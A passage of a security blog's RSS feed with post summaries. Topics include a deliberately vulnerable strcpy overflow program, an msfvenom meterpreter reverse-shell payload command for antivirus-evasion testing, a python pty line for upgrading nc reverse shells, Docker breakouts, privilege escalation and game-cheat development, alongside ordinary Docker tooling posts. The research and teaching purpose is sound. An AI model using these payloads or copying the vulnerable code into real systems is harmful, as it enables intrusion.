      <description>&lt;p&gt;This post covers basic basics of bypassing ASLR and DEP with &lt;a href=&#34;https://rada.re/r/&#34;&gt;r2&lt;/a&gt;. For this, a vulnerable application, &lt;code&gt;yolo.c&lt;/code&gt;, is required:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;void lol(char *b)&#xA;{&#xA;    char buffer[1337];&#xA;    strcpy(buffer, b);&#xA;}&#xA;&#xA;int main(int argc, char **argv)&#xA;{&#xA;    lol(argv[1]);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h1 id=&#34;64-bit-vs-32-bit-binaries&#34;&gt;64-Bit vs 32-Bit Binaries&lt;/h1&gt;&#xA;&lt;p&gt;The issue here should be quite obvious - &lt;code&gt;strcpy&lt;/code&gt; blindly copies the user-controlled input buffer &lt;code&gt;b&lt;/code&gt; into &lt;code&gt;buffer&lt;/code&gt; which causes a buffer overflow. Since normally ASLR and DEP are enabled, the following things don&amp;rsquo;t just work out of the box:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Information Leak in Docker</title>
      <link>https://bananamafia.dev/post/docker-leak/</link>
      <pubDate>Fri, 04 Jan 2019 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/docker-leak/</guid>
      <description>&lt;p&gt;During an assessment of the Docker platform in November 2018, two information leaks regarding the &lt;code&gt;/proc/asound&lt;/code&gt; path were discovered in the OCI (Open Container Initiative) specification. These issues have been &lt;a href=&#34;https://github.com/moby/moby/issues/38285&#34;&gt;fixed&lt;/a&gt; quickly by the Docker security team using the provided suggestions.&lt;/p&gt;&#xA;&lt;h1 id=&#34;leak-of-audio-device-status-of-the-host&#34;&gt;Leak of audio device status of the host&lt;/h1&gt;&#xA;&lt;p&gt;When media is being played on the host, the&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-console&#34; data-lang=&#34;console&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/proc/asound/card*/pcm*p/sub*/status&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;files may contain information regarding the status of media playback. Consider this command for a demonstration:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Passing binary input via GDB</title>
      <link>https://bananamafia.dev/post/rnd-092345-gdb/</link>
      <pubDate>Fri, 26 Oct 2018 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/rnd-092345-gdb/</guid>
      <description>&lt;p&gt;When trying to exploit an application it&amp;rsquo;s useful to send the input via &lt;code&gt;gdb&lt;/code&gt; to immediately check how the input is being processed. But once the &lt;code&gt;gdb&lt;/code&gt; is open it&amp;rsquo;s sometimes not clear how to pass binary input to applications reading from stdin, e.g. using &lt;code&gt;read&lt;/code&gt;. An easy way is to start the debugging session with &lt;code&gt;gdb ./binary&lt;/code&gt; and using&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;run &amp;lt; &amp;lt;(printf &amp;#34;\xAA\xAA\xAA&amp;#34;)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;from the &lt;code&gt;gdb&lt;/code&gt; session to send arbitrary bytes.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Car Hacking: A Short Overview</title>
      <link>https://bananamafia.dev/post/autohax/</link>
      <pubDate>Tue, 23 Oct 2018 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/autohax/</guid>
      <description>&lt;p&gt;Ever wondered about the various techniques that can be applied to hack modern cars? This post documents various ways to do so - you can use it as a cheatsheet&lt;/p&gt;&#xA;&lt;h1 id=&#34;software&#34;&gt;Software&lt;/h1&gt;&#xA;&lt;p&gt;There are multiple ways one can interface with the software stack of a car. The easiest one is to use USB-to-Ethernet adapters in order to attach to the network of the car. It&amp;rsquo;s important to use special adapters that are whitelisted on the car&amp;rsquo;s head unit. Also, not every adapter may be supported after all. For this, it&amp;rsquo;s best to do some research to get a hold of the right devices to use. Once attached to the network, assign a static IP to the interface. Once again it&amp;rsquo;s up to the researcher to get the correct IP range. For a specific car manufacturer, it seems to be &lt;code&gt;192.168.0.0&lt;/code&gt; according to KeenLab [1]. It&amp;rsquo;s best to test all IP ranges not being publicly routed. Now, use some &lt;code&gt;nmap&lt;/code&gt; to scan for services.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Game Hacking #1: Developing Hacks for idTech3 Based Games</title>
      <link>https://bananamafia.dev/post/multihack/</link>
      <pubDate>Tue, 28 Aug 2018 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/multihack/</guid>
      <description>&lt;p&gt;The &lt;em&gt;idTech3&lt;/em&gt; game engine is most known for being used in games like &lt;a href=&#34;https://github.com/id-Software/Quake-III-Arena&#34;&gt;Quake III Arena&lt;/a&gt;, &lt;a href=&#34;https://github.com/id-Software/Enemy-Territory&#34;&gt;Wolfenstein: ET&lt;/a&gt; and &lt;a href=&#34;https://github.com/ps1337/jediacademy&#34;&gt;Star Wars: Jedi Knight - Jedi Academy&lt;/a&gt;. Sometimes people just simply refer to this engine as &lt;em&gt;the Quake3 engine&lt;/em&gt;. This post teaches you how to create hacks for games that are based on this game engine. The target of choice is the game &lt;em&gt;Jedi Academy&lt;/em&gt;, which was released in 2003. Oldschool, I know - but most of the injection and hooking techniques can also be applied to modern games.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Game Hacking #0: Runtime Function Patching</title>
      <link>https://bananamafia.dev/post/cvar-hax/</link>
      <pubDate>Thu, 16 Aug 2018 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/cvar-hax/</guid>
      <description>&lt;p&gt;When it comes to patching certain functions of a binary on ASM level, it&amp;rsquo;s often performed by modifying the binary itself. This post shows a different approach to accomplish the same thing: Removing game cheat protections using runtime function patching.&lt;/p&gt;&#xA;&lt;h1 id=&#34;the-target&#34;&gt;The Target&lt;/h1&gt;&#xA;&lt;p&gt;This is being shown in the following context: Quake3 based multiplayer games include certain settings (CVars) which are disabled for players to prevent cheating. These settings would enable clients to disable fog and shadows and use different camera angles. Using these settings would bring an advantage over clients not being able to use them, hence the protection mechanism. However, it would be convenient to use these settings anyway and remove the protection mechanism on the client side &amp;ndash; that&amp;rsquo;s what function patching is being used for.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Backup Google Authenticator Data</title>
      <link>https://bananamafia.dev/post/rnd-632424-2fa-backup/</link>
      <pubDate>Wed, 20 Jun 2018 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/rnd-632424-2fa-backup/</guid>
      <description>&lt;p&gt;Using 2 factor authentication generally is a good idea. However, losing 2 factor data can be the opposite. If you&amp;rsquo;re using Google Authenticator to generate 2FA codes, you may have wondered how to backup the data the app uses to generate codes. The method described here requires root access of course but doesn&amp;rsquo;t require a third party app. Please note that you can always use apps that backup app data but recovering this data on newer Android versions can fail. To avoid this, use this script:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Docker Breakout Using X11</title>
      <link>https://bananamafia.dev/post/docker-breakout/</link>
      <pubDate>Fri, 18 May 2018 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/docker-breakout/</guid>
      <description>&lt;p&gt;Use Docker to run GUI applications they said.&lt;/p&gt;&#xA;&lt;p&gt;Mount the X11 socket they said.&lt;/p&gt;&#xA;&lt;p&gt;Allow other users to access your X session they said.&lt;/p&gt;&#xA;&lt;p&gt;This post covers Docker container breakouts by abusing bad security practices related to the X11 socket.&lt;/p&gt;&#xA;&lt;h1 id=&#34;the-problem&#34;&gt;The problem&lt;/h1&gt;&#xA;&lt;p&gt;To display windows spawned through a Docker container, people often launch containers following these steps:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use &lt;code&gt;-e DISPLAY=$DISPLAY&lt;/code&gt; to share the display variable value&lt;/li&gt;&#xA;&lt;li&gt;Specifying &lt;code&gt;-v /tmp/.X11-unix:/tmp/.X11-unix:ro&lt;/code&gt; shares the X11 socket - optionally as read only.&lt;/li&gt;&#xA;&lt;li&gt;&amp;ldquo;I can&amp;rsquo;t see the window, let&amp;rsquo;s &lt;a href=&#34;https://bing.com&#34;&gt;google&lt;/a&gt;&amp;hellip;&amp;rdquo;&lt;/li&gt;&#xA;&lt;li&gt;&amp;ldquo;Let&amp;rsquo;s just execute &lt;code&gt;xhost +local:root&lt;/code&gt; and it works!&amp;rdquo;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The X11 socket is mounted as read only - it&amp;rsquo;s secure right?&lt;/p&gt;</description>
    </item>
    <item>
      <title>Methods to Upgrade nc Reverse Shells</title>
      <link>https://bananamafia.dev/post/shell-upgrade/</link>
      <pubDate>Wed, 16 May 2018 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/shell-upgrade/</guid>
      <description>&lt;p&gt;Ended up with a cheap &lt;code&gt;nc&lt;/code&gt; shell and want to upgrade to a &amp;ldquo;real&amp;rdquo; shell with a proper TTY and navigation?&lt;/p&gt;&#xA;&lt;p&gt;Say no more &amp;lt;:&lt;/p&gt;&#xA;&lt;h1 id=&#34;1-upgrading-using-shell-magic&#34;&gt;1. Upgrading using shell magic&lt;/h1&gt;&#xA;&lt;p&gt;This doesn&amp;rsquo;t always work - however if Python is present on the victims machine, it&amp;rsquo;s worth a try.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use &lt;code&gt;bash&lt;/code&gt; on the attacker machine, &lt;code&gt;zsh&lt;/code&gt; doesn&amp;rsquo;t seem to work.&lt;/li&gt;&#xA;&lt;li&gt;Get the &lt;code&gt;nc&lt;/code&gt; shell.&lt;/li&gt;&#xA;&lt;li&gt;In the shell, execute:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python -c &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;import pty; pty.spawn(&amp;#34;/bin/sh&amp;#34;)&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;to allocate a TTY in the &lt;code&gt;nc&lt;/code&gt; session.&lt;/p&gt;</description>
    </item>
    <item>
      <title>2 Common Python Security Issues</title>
      <link>https://bananamafia.dev/post/python-hax/</link>
      <pubDate>Sun, 13 May 2018 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/python-hax/</guid>
      <description>&lt;h1 id=&#34;tldr&#34;&gt;tl;dr&lt;/h1&gt;&#xA;&lt;p&gt;Be aware that imports can be hijacked for Python2 and Python3 - take care of EUIDs.&lt;/p&gt;&#xA;&lt;p&gt;Don&amp;rsquo;t use &lt;code&gt;input()&lt;/code&gt; for Python2.x.&lt;/p&gt;&#xA;&lt;h1 id=&#34;module-hijacking&#34;&gt;Module Hijacking&lt;/h1&gt;&#xA;&lt;p&gt;When assigning SUID bits to Python scripts, privileges can be escalated easily. Consider the following Python source code:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;#!/usr/bin/python2.7&#xA;# -*- coding: utf-8 -*-&#xA;&#xA;import hashlib&#xA;&#xA;value = raw_input()&#xA;&#xA;md5 = hashlib.md5()&#xA;md5.update(value)&#xA;print md5.digest()&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Note that in case of SUID binaries this code runs as root. Attacker controlled code can be injected by hijacking the &lt;code&gt;hashlib&lt;/code&gt; module as follows:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Cracking Music Server Software</title>
      <link>https://bananamafia.dev/post/mserver-crack/</link>
      <pubDate>Sun, 13 May 2018 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/mserver-crack/</guid>
      <description>&lt;h1 id=&#34;tldr&#34;&gt;tl;dr&lt;/h1&gt;&#xA;&lt;p&gt;Generating licenses using &lt;code&gt;MD5(email)&lt;/code&gt; is bad.&lt;/p&gt;&#xA;&lt;p&gt;Validating licenses using HTTP in plain text is bad.&lt;/p&gt;&#xA;&lt;h1 id=&#34;the-software&#34;&gt;The Software&lt;/h1&gt;&#xA;&lt;p&gt;This post covers reverse engineering and cracking the license validation process of a popular and closed source self hosted music server application. The developer has been notified about the findings, however no reply has been received. The validation issues still exist as of now and affects all issued licenses. Because of this, the name of the application won&amp;rsquo;t be disclosed.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Easy Remote Pair Programming Using Docker and Tmux</title>
      <link>https://bananamafia.dev/post/pairprog/</link>
      <pubDate>Tue, 10 Apr 2018 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/pairprog/</guid>
      <description>&lt;p&gt;Recently I&amp;rsquo;ve created a small &lt;a href=&#34;https://github.com/ps1337/pairprog-docker&#34;&gt;docker container&lt;/a&gt; to perform remote pair programming. Shared shell sessions are an easy way to remotely interact with coworkers or other people. With additional docker magic you now don&amp;rsquo;t even have to give them access to your host system - they will be contained just like you and the work that&amp;rsquo;s being done. Using my docker image, it&amp;rsquo;s possible to share a &lt;code&gt;tmux&lt;/code&gt; session with a group of people. You can check out the readme over at GitHub which should be fairly easy to understand.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using the GitHub API to improve Dockerfiles</title>
      <link>https://bananamafia.dev/post/rnd-23542352/</link>
      <pubDate>Tue, 20 Mar 2018 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/rnd-23542352/</guid>
      <description>&lt;p&gt;When writing Dockerfiles, people often use something like this to download and install software from GitHub:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ENV SOFTWARE_VERSION 1.33.7&#xA;RUN curl -sSL \&#xA;    https://github.com/user/repo/releases/download/${SOFTWARE_VERSION}/amd64.deb&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This can be optimized so that always the newest version gets used, which also simplifies maintaining the Dockerfile because updating happens automatically:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;curl -sSL \&#xA;   $(curl -sSL https://api.github.com/repos/user/repo/releases/latest | \&#xA;   grep &amp;#34;browser_download_url&amp;#34; | \&#xA;   grep &amp;#34;amd64.deb&amp;#34; | \&#xA;   cut -d &amp;#34;:&amp;#34; -f 2,3 | \&#xA;   tr --delete \&amp;#34; | \&#xA;   tr --delete &amp;#34; &amp;#34;) \&#xA;-o /tmp/software-amd64.deb \&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As you can see, the endpoint at&lt;/p&gt;</description>
    </item>
    <item>
      <title>A Quick Survey on Anti-Anti-Viruses</title>
      <link>https://bananamafia.dev/post/crypt0r/</link>
      <pubDate>Fri, 16 Mar 2018 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/crypt0r/</guid>
      <description>&lt;h1 id=&#34;tldr&#34;&gt;tl;dr&lt;/h1&gt;&#xA;&lt;p&gt;AVs can easily be bypassed using malware AES crypters like &lt;a href=&#34;https://github.com/ps1337/Crypt0r&#34;&gt;Crypt0r&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://bananamafia.dev/img/crypt0r/results.png&#34; alt=&#34;AES Parameters&#34;&gt;&lt;/p&gt;&#xA;&lt;h1 id=&#34;open-source-evasion-techniques&#34;&gt;Open Source Evasion Techniques&lt;/h1&gt;&#xA;&lt;p&gt;All of the following results are based on a meterpreter file which was generated like this:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;msfvenom&#xA;  -p windows/meterpreter/reverse_tcp&#xA;  --platform windows&#xA;  -f exe&#xA;  LHOST=192.168.1.1&#xA;  LPORT=1337&#xA;  -o meter.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;All scans are performed on &lt;a href=&#34;https://www.virustotal.com&#34;&gt;VirusTotal&lt;/a&gt;. Please not that this covers static analysis only. However, it will become clear later on that dynamic analysis of the used techniques aren&amp;rsquo;t required at all.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Monitor All the Things using Docker and Monit</title>
      <link>https://bananamafia.dev/post/monit/</link>
      <pubDate>Fri, 16 Mar 2018 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/monit/</guid>
      <description>&lt;p&gt;After setting up 329423 services and 823423 containers, you might want to manage your environment in case some service fails. This can be automated restarting, getting notified about failures or a similar thing. Say no more, I&amp;rsquo;ve created a &lt;a href=&#34;https://hub.docker.com/r/ps1337/monit-docker/&#34;&gt;Dockerfile and image for Monit&lt;/a&gt; for this.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://mmonit.com/monit/&#34;&gt;Monit&lt;/a&gt; is extremely configurable and allows a maximum of flexibility when it comes to monitoring.&lt;/p&gt;&#xA;&lt;p&gt;Initially, a configuration file is required to get started. To get one, call&lt;/p&gt;</description>
    </item>
    <item>
      <title>Exploiting Unquoted Service Paths For Fun and No Profit</title>
      <link>https://bananamafia.dev/post/realtek-driverutil/</link>
      <pubDate>Thu, 15 Mar 2018 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/realtek-driverutil/</guid>
      <description>&lt;p&gt;This kind of vulnerability is really old. However, vendors still fail to properly address this issue. This is just another example of exploiting this kind of vulnerability on Windows 10 with the most up-to-date ALFA AWUS036AC driver utility (version &lt;code&gt;1030.6&lt;/code&gt;). Note that the &lt;a href=&#34;https://www.alfa.com.tw/files/?dir=USB%20Driver/Windows/AWUS036AC&#34;&gt;download link&lt;/a&gt; points to &lt;code&gt;alfa.com&lt;/code&gt; but the driver utility itself says it&amp;rsquo;s developed by REALTEK.&lt;/p&gt;&#xA;&lt;h1 id=&#34;the-vulnerability&#34;&gt;The vulnerability&lt;/h1&gt;&#xA;&lt;p&gt;Upon installing the driver utility, two vulnerable services get installed. This can be checked using the following &lt;a href=&#34;https://www.commonexploits.com/unquoted-service-paths/&#34;&gt;command&lt;/a&gt;:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Easy and Secure Backups Using Borg and Docker</title>
      <link>https://bananamafia.dev/post/docker-borg/</link>
      <pubDate>Wed, 14 Mar 2018 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/docker-borg/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://www.borgbackup.org/&#34;&gt;BorgBackup&lt;/a&gt; is a secure backup solution which is also easy to use. It provides compression, encryption, deduplication and authentication.&lt;/p&gt;&#xA;&lt;h1 id=&#34;getting-started&#34;&gt;Getting started&lt;/h1&gt;&#xA;&lt;p&gt;I&amp;rsquo;ve created a &lt;a href=&#34;https://github.com/ps1337/borg-docker/blob/master/Dockerfile&#34;&gt;Dockerfile&lt;/a&gt; based on Alpine Linux which is also available on &lt;a href=&#34;https://hub.docker.com/r/ps1337/borg-docker/&#34;&gt;DockerHub&lt;/a&gt;. It gets built weekly to always stay up to date.&lt;/p&gt;&#xA;&lt;p&gt;This &lt;code&gt;Makefile&lt;/code&gt; can be used to quickly get started using a containerized version of Borg:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;SHELL := /bin/bash&#xA;VERSION ?= latest&#xA;&#xA;# The directory of this file&#xA;DIR := $(shell echo $(shell cd &amp;#34;$(shell  dirname &amp;#34;${BASH_SOURCE[0]}&amp;#34; )&amp;#34; &amp;amp;&amp;amp; pwd ))&#xA;&#xA;IMAGE_NAME ?= ps1337/borg-docker&#xA;CONTAINER_NAME ?= borg&#xA;&#xA;# This will output the help for each task&#xA;# thanks to https://marmelab.com/blog/2016/02/29/auto-documented-makefile.html&#xA;.PHONY: help&#xA;&#xA;help: ## This help&#xA;&#x9;@awk &amp;#39;BEGIN {FS = &amp;#34;:.*?## &amp;#34;} /^[a-zA-Z_-]+:.*?## / {printf &amp;#34;\033[36m%-30s\033[0m %s\n&amp;#34;, $$1, $$2}&amp;#39; $(MAKEFILE_LIST)&#xA;&#xA;.DEFAULT_GOAL := help&#xA;&#xA;# Build the container&#xA;build: ## Build the container&#xA;&#x9;docker build --rm -t $(IMAGE_NAME) .&#xA;&#xA;build-nc: ## Build the container without caching&#xA;&#x9;docker build --rm --no-cache -t $(IMAGE_NAME) .&#xA;&#xA;run: ## Run container&#xA;&#x9;sudo docker run \&#xA;&#x9;-d \&#xA;&#x9;--name $(CONTAINER_NAME) \&#xA;&#x9;-v $(DIR)/data:/var/backups/borg \&#xA;&#x9;-v $(DIR)/authorized_keys:/home/borg/.ssh/authorized_keys \&#xA;&#x9;-p 22:22 \&#xA;&#x9;$(IMAGE_NAME):$(VERSION)&#xA;&#xA;stop: ## Stop a running container&#xA;&#x9;docker stop $(CONTAINER_NAME)&#xA;&#xA;remove: ## Remove a (running) container&#xA;&#x9;docker rm -f $(CONTAINER_NAME)&#xA;&#xA;remove-image-force: ## Remove the latest image (forced)&#xA;&#x9;docker rmi -f $(IMAGE_NAME):$(VERSION)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This &lt;code&gt;docker run&lt;/code&gt; call mounts two things:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Automated and Tested Dotfile Deployment Using Ansible and Docker</title>
      <link>https://bananamafia.dev/post/dotfile-deployment/</link>
      <pubDate>Thu, 08 Mar 2018 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/dotfile-deployment/</guid>
      <description>&lt;p&gt;This is the second part of my posts about Dotfile management. Part one can be found &lt;a href=&#34;https://bananamafia.dev/post/dotfile-shellcheck/&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;After spending a lot of time and effort on your Dotfiles, it may be useful to setup an automated deployment process. There are existing solutions like &lt;a href=&#34;https://www.gnu.org/software/stow/&#34;&gt;GNU Stow&lt;/a&gt;, but for maximum flexibility the use of &lt;a href=&#34;https://www.ansible.com/&#34;&gt;Ansible&lt;/a&gt; may be a better option. Using this, files and advanced configuration hierarchies can be distributed easily. This post covers my personal setup, which also includes an automated deployment test approach for multiple linux distributions.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using Shellcheck and Docker to Automatically Lint Dotfiles</title>
      <link>https://bananamafia.dev/post/dotfile-shellcheck/</link>
      <pubDate>Thu, 08 Mar 2018 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/dotfile-shellcheck/</guid>
      <description>&lt;p&gt;In order to prevent errors and side effects, it&amp;rsquo;s useful to use &lt;a href=&#34;https://www.shellcheck.net/&#34;&gt;Shellcheck&lt;/a&gt; to lint all shell scripts. While checking out the &lt;a href=&#34;https://github.com/jessfraz/dotfiles&#34;&gt;Dotfiles of jessfraz&lt;/a&gt;, I came across an easy way to integrate this kind of check with &lt;a href=&#34;https://www.travis-ci.org&#34;&gt;Travis CI&lt;/a&gt;. The mentioned approach triggers a travis linting process after pushing to to the Dotfiles repository on GitHub. This post will explain all necessary steps to integrate this process into your own repository. All credits go to the &lt;a href=&#34;https://github.com/jessfraz&#34;&gt;original author&lt;/a&gt; of the docker images and scripts, of course.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Universal Notifications Using Telegram and cURL</title>
      <link>https://bananamafia.dev/post/telegram-notifications/</link>
      <pubDate>Wed, 07 Mar 2018 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/telegram-notifications/</guid>
      <description>&lt;p&gt;If you ever wanted to get notified when certain things happen but didn&amp;rsquo;t find a lightweight solution &amp;ndash; here comes captain Telegram.&lt;/p&gt;&#xA;&lt;p&gt;Using a simple Telegram bot, it&amp;rsquo;s possible to send notifications to your mobile phone or browser. All the notifier node needs is &lt;code&gt;curl&lt;/code&gt; installed.&lt;/p&gt;&#xA;&lt;h1 id=&#34;registering-a-bot&#34;&gt;Registering a bot&lt;/h1&gt;&#xA;&lt;p&gt;First of all, a Telegram bot has to be registered in order to send messages later on. Follow these steps to get started:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Building a CI Docker Pipeline Using Docker in Your Docker</title>
      <link>https://bananamafia.dev/post/docker-jenkins/</link>
      <pubDate>Mon, 15 Jan 2018 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/docker-jenkins/</guid>
      <description>&lt;p&gt;&lt;em&gt;Note: This isn&amp;rsquo;t up to date anymore, instead use&lt;/em&gt; &lt;a href=&#34;https://github.com/genuinetools/img&#34;&gt;img&lt;/a&gt; &lt;em&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;First of all – why should you want to build all the docker images on your own build server?&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Complete control over the build process&lt;/li&gt;&#xA;&lt;li&gt;You know when the images are built and how up-to-date they are&lt;/li&gt;&#xA;&lt;li&gt;Use of private repositories and images&lt;/li&gt;&#xA;&lt;li&gt;Because you can&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This assumes that you already have control over a private docker registry. If that isn&amp;rsquo;t the case yet, you can just use the pre-built registry image using the following &lt;code&gt;Makefile&lt;/code&gt;. Just be sure to edit the placeholders marked by &lt;code&gt;~~&lt;/code&gt;.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Auditing WriteDiary.com</title>
      <link>https://bananamafia.dev/post/write-diary/</link>
      <pubDate>Fri, 27 Oct 2017 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/write-diary/</guid>
      <description>&lt;p&gt;WriteDiary consists of a &lt;a href=&#34;http://www.WriteDiary.com&#34;&gt;webapp&lt;/a&gt; and an &lt;a href=&#34;https://play.google.com/store/apps/details?id=com.adpog.diary&#34;&gt;Android app&lt;/a&gt; (version 4.72). For the audit, the android app was the primary target.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;The developer and owner of both the webapp and android app has been contacted multiple times to develop a quick fix for the issues addressed in this blog post and a vulnerability concerning the webapp which isn&amp;rsquo;t described here. However, no response has been received.&lt;/em&gt; This is bad, as you will see in the first finding:&lt;/p&gt;</description>
    </item>
  </channel>
</rss>
